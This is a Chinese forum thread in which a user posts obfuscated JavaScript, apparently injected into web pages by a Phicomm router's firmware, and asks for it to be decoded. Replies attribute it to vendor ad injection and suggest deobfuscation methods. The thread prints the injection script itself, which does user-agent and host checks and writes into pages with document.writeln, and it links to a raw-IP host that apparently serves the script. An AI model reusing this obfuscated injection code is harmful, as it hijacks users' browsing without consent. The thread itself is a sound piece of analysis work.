V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
unboy
V2EX  ›  PHP

请解密一下,好像是 X 讯路由嵌入的广告?

  •  
  •   unboy · 2018-09-16 23:38:26 +08:00 · 2855 次点击
    这是一个创建于 2020 天前的主题,其中的信息可能已经有所发展或是发生改变。
    var isloadad=0;;var a=['PyvCkS/Cl8KAw7xGwqrCnzHCu8K8eT46UQdDwojDm8ObRsOQMsKvLgTChirDjVxuVcKcwqQTA8KPamkxMcKXByQQwqNdw6nDgsKsI0jCsMOROMOxHcOhw5Y=','SArCgwHDiA==','ZSDCkcK7Kg==','wr1KYcOz','YcKLUMKJwrHDpA==','HMOKwprDtcOVw73ChMK1','JMKewoVv','wo5jw6FrNWEm','QMOjwqM5T8Khw74=','wqNPw49JPQ==','JHLDgSlgwplQ','w6Qlw7gPw7JZfTQiwq7CgMKFIw==','bsKQw6UWdg==','aR3CpRfDn8KrGA==','I8Ktw6TCt8OISMKES8Kq','VMOpGWLChw==','L25FE8KLw6PCnw==','Ul5DEcO9w4Bjwr0xA1Qcwrg=','SHHDnMKvZQ==','FcOtbMKXBQ==','ZMKZw7XDucOGw5rDrw==','dMOuwrkzWMOdwpnCs8OOIj0=','wqY8YcOWeA==','eMOmO8Otw5sVwo3Clw==','wpRvw4tHIQ==','YC7DmE/DgA==','J8OUDcODwr3DvMKh','N1NjO8K3BDs=','ezDDicKbw7cQw7E=','wqPDusKXUcK8Zg==','MMKowo0=','LsOAbg==','N8Kww6LCq8OYRcOE','ScOVDWXCug==','AMKNP23CqwLDksOFCsOcD8O9MR5RwoVrwoANZErDsD8GOGPCt8OIw51fw4xYEcKbCFHCrsK3w5fCgcKqw4/CjS47w7jDu1ccO8Ktwo/DjsO6wrslK07DsTLDhMOKZXccwp1uMmADw5vDqDUNGcOFw7/DtsOFIGXCtjrCgsO7I8Oew4Br','GTTDvlAn','dCrCmynCm8Kcw6Y=','XMKgwoY8w5fDi8KJwrhpYsOuw5VnZsOKeH/CtsKHw4BJw7fCgsOMcEDCl1UuwrPDijExwqQ5KMKZw5rDhGnDl3/DhcOfZEbDpcKcbcK2w6vDisKRw5lYwrjCkcODw44jwog5CGHCrjrDvcKQVMO9NcKwFkLDtHx5w4tSwp7CnCXDgAjCg8Kyw7cqw5M=','SS16PVhgUB5B','w4lqw6p4Y00u','w70aPMK2f8OZGFhbw4UmEgs=','QEpEFsO8w5t/wqg3TFVXwq/DrGM=','wr7DmQjDgiDDp8KF','D1zCqsKwwoM=','UFtbF8O8','FcK/XMKfZlrCsQ==','csKpXMK0wpM=','RMKDasKqwoc=','LsKlwo7CqsOgH8OZ','wpXDgcKPfcK9','bsKYw77DtMOLw7TCp2IR','fz7CmcK3JjIt','AXvCiitF','KmRdMsKo','csOrK8O+wo05woQ=','bwMmIn4=','wr12SMOrKg==','wqxlwqBGw4oswoU=','wrRXF2xYw6F2aA==','woU5w4PCgzvDgMKCw4tX','w6bCgV/CiTvDh8KO','LlVuPcKgJjDCvMKawpXDvw==','QsKkw5MUdA==','ScOfP2HCpW3Dhw==','dwHCqDHCmQ==','IWVPIMKw','GcOLwp3DscOZw5vCjQ==','NMKiwoTCrsK2M8OQwpY=','bsO/MVbCtw==','ZTfDg8Kaw6Ao','wotiw6ZvOUcvCQ==','OMKJwpN9','wpV1wqI=','wqA4w44=','JMO+eA==','PsKswoJ4TGfDuzg=','woQww5XCmQ==','XcKLw5AsTw==','bSUkOnE=','woRXQw==','SsKzMQ==','U2PDuw==','bWXChcKzAmHChAXDhgpJaznDiMKaw5g8AcOqLcKRwpw7H0tSwr47IMO6w7DCqF1XwrlNwpkbwqVsQcKuw51oYcOrAMKjwolKw5/Crn0lw7ZXV14VOsKBYgBvwrRAw5PDosOuwozDtMO9Xylnw7Itwq03PsOUdnIALnDDiwQC','w54Gwpg=','I8Kkwo0=','IyLCmcKCwr0jwqQqw4U=','wrNxwqVWwrQAJnF5w7zDgcKTcMKswpg=','A8OKwpHDocKPw7fChMK2','wqY3QcO+OirDt8OI','EMK0w6cJVkXDqsKEw49KYX5Uw7TCo8OFwqYVwp9Mw5DCnSxKw4gacMOgw4tdQMKKdBfCpcO1w7vDni1Ww7o+wrwHwqjCqMKrw4rCrEnCgcOyPjgYOgMbN8K9wpTCqQ==','PnjCsDdH','wrHCrcOPXQ8=','TcOdw6AnIEV9w6M=','wrwwS8O6bAbDvg==','w6Bewph/ag==','cErCjMOcFsO8woU=','QyfCucKcDQ==','wo1vHg==','wrlxAcK9wp4=','NzggNBA=','JcKqwo8=','wqrCqMO5','E8OAwpDDuA==','IMKiwo99V2M=','c8Oewrc+Qw==','L8Krwp/Djyc=','CMOxVsKbKg==','wrDCu8OzRC3CjMOt'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};var g=function(){var h={'data':{'key':'cookie','value':'timeout'},'setCookie':function(i,j,k,l){l=l||{};var m=j+'='+k;var n=0x0;for(var n=0x0,p=i['length'];n>(-0x2*j&0x6)):0x0){l=g['indexOf'](l);}return n;});}());var o=function(p,q){var r=[],s=0x0,t,u='',v='';p=atob(p);for(var w=0x0,x=p['length'];w>0x1+0xff%0x0;if(j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===k)){l(j);}};var l=function(m){var n=~-0x4>>0x1+0xff%0x0;if(m['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==n){n(m);}};if(!e()){if(!g()){i('\x69\x6e\x64\u0435\x78\x4f\x66');}else{i('\x69\x6e\x64\x65\x78\x4f\x66');}}else{i('\x69\x6e\x64\u0435\x78\x4f\x66');}});ae();var a6={'win':![],'mac':![],'xll':![]};var a7=navigator[b('0x36','jOu*')];a6['win']=a7[b('0x37','Ge5M')]('Win')==0x0;a6['mac']=G[b('0x38','0wdP')](a7[b('0x39','t#W1')]('Mac'),0x0);a6['x11']=G[b('0x3a','k$Ar')](a7,b('0x3b','Ge5M'))||G[b('0x3c','vCRg')](a7[b('0x1c','!]6t')](b('0x3d','y%*s')),0x0);if(a6[b('0x3e','rtS6')]||a6[b('0x3f','lQJi')]||a6['xll']){}else{document['writeln'](G['ddrlL']);var a8=Math[b('0x40','!]6t')](Math[b('0x41','rtS6')]()*0x28);if(a8<0x4){if(G[b('0x42','raq&')](G[b('0x43','cej&')],G[b('0x44','#)c6')])){G['ocQNc'](setTimeout,document[b('0x45','lQJi')](b('0x46','s6GQ')),0x320);}else{var a9=G[b('0x47','[YTc')][b('0x48','k$Ar')]('|'),aa=0x0;while(!![]){switch(a9[aa++]){case'0':if(ac[b('0x49','f@ur')](ab)){return!![];}else{return![];}continue;case'1':var ab=top[b('0x4a','zp)j')][b('0x4b','!]6t')][b('0x4c','Y$MS')];continue;case'2':if(ad[b('0x4d','E2FY')](b('0x4e','p(56'))!=-0x1||G[b('0x4f','E2FY')](ad[b('0x50','V)in')](b('0x51','la*l')),-0x1)||G[b('0x52','4%%%')](ad[b('0x53','[YTc')](b('0x54','anO2')),-0x1)||G[b('0x55','E)ui')](ad[b('0x56','*JGb')](b('0x57','0QoL')),-0x1)||G[b('0x58','**kH')](ad['indexOf'](G[b('0x59','#)c6')]),-0x1)||ad[b('0x10','$dMF')](G['WwCqM'])!=-0x1||ad['indexOf'](G['pNBqZ'])!=-0x1||ad[b('0x5a','v%(S')](b('0x5b','raq&'))!=-0x1||G[b('0x5c','Ge5M')](ad[b('0x13','sLSS')](b('0x5d','$dMF')),-0x1)||G[b('0x5e','E2FY')](ad[b('0x50','V)in')](G[b('0x5f','k$$h')]),-0x1)||ad['indexOf'](b('0x60','zp)j'))!=-0x1||ad[b('0x61','BOfi')](G['DotPV'])!=-0x1||G['sbNIl'](ad[b('0x62','d(u6')](G['CXYhE']),-0x1)){return!![];}continue;case'3':var ac=/m\.baidu\.com\/static/g;continue;case'4':var ad=top[b('0x63','7T&s')]['location']['host'];continue;}break;}}}if(isloadad>0x0){if(b('0x64','rtS6')!==b('0x65','#)c6')){return![];}else{document[b('0x66','anO2')](G[b('0x67','E)ui')]);document['writeln'](b('0x68','E)ui'));}}}}else{document[b('0x45','lQJi')](G[b('0x69','wHJh')]);document[b('0x6a','s6GQ')](b('0x6b','%&1k'));}}F();};_security='__0x18c25';
    11 条回复    2018-09-26 13:59:06 +08:00
    yichinzhu
        1
    yichinzhu  
       2018-09-16 23:45:38 +08:00
    报错运行不了
    zts1993
        2
    zts1993  
       2018-09-16 23:49:49 +08:00   ❤️ 1
    官方固件会嵌入广告,这点已经证实的
    K3 的话 A 大官改 1.7 已经尝试屏蔽了
    745839
        3
    745839  
       2018-09-16 23:52:38 +08:00 via iPhone
    同二楼。已经证实官方加的广告。刷第三方固件吧。
    Telegram
        4
    Telegram  
       2018-09-16 23:57:54 +08:00 via iPhone
    @zts1993 #2 这个 1.7 版本有很多问题,ping 常年乱跳,1~200ms 随机,偶尔还会死机
    xiaocaibaozi
        5
    xiaocaibaozi  
       2018-09-17 00:00:28 +08:00 via Android
    官方加的广告,斐,讯终于把后门用上了。
    xiaocaibaozi
        6
    xiaocaibaozi  
       2018-09-17 00:00:48 +08:00 via Android
    我才发现,v2 也用上关键词了。
    unboy
        7
    unboy  
    OP
       2018-09-17 00:46:21 +08:00
    @yichinzhu
    看这里 http://45.126.123.80:118/t.php
    qiuqiuer
        8
    qiuqiuer  
       2018-09-17 13:09:09 +08:00 via Android
    公司都没了,借的钱都不用还了
    tadtung
        9
    tadtung  
       2018-09-17 18:26:42 +08:00 via Android
    不要用官方固件,最好刷第三方。。。
    斐 x 讯据说因为其之前采集了大量用户数据,已经被收编了。
    v2 还真是政治正确啊,费迅都是违禁词了
    Livid
        10
    Livid  
    MOD
       2018-09-18 07:10:55 +08:00
    @tadtung 很早之前就已经是关键词。后来果然暴雷了。
    mytry
        11
    mytry  
       2018-09-26 13:59:06 +08:00
    nodejs 用 uglifyjs 库跑一遍 AST,把 G[] 和 b() 节点进行求值替换就可以了。几十行代码就可以。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   5389 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 27ms · UTC 07:49 · PVG 15:49 · LAX 00:49 · JFK 03:49
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.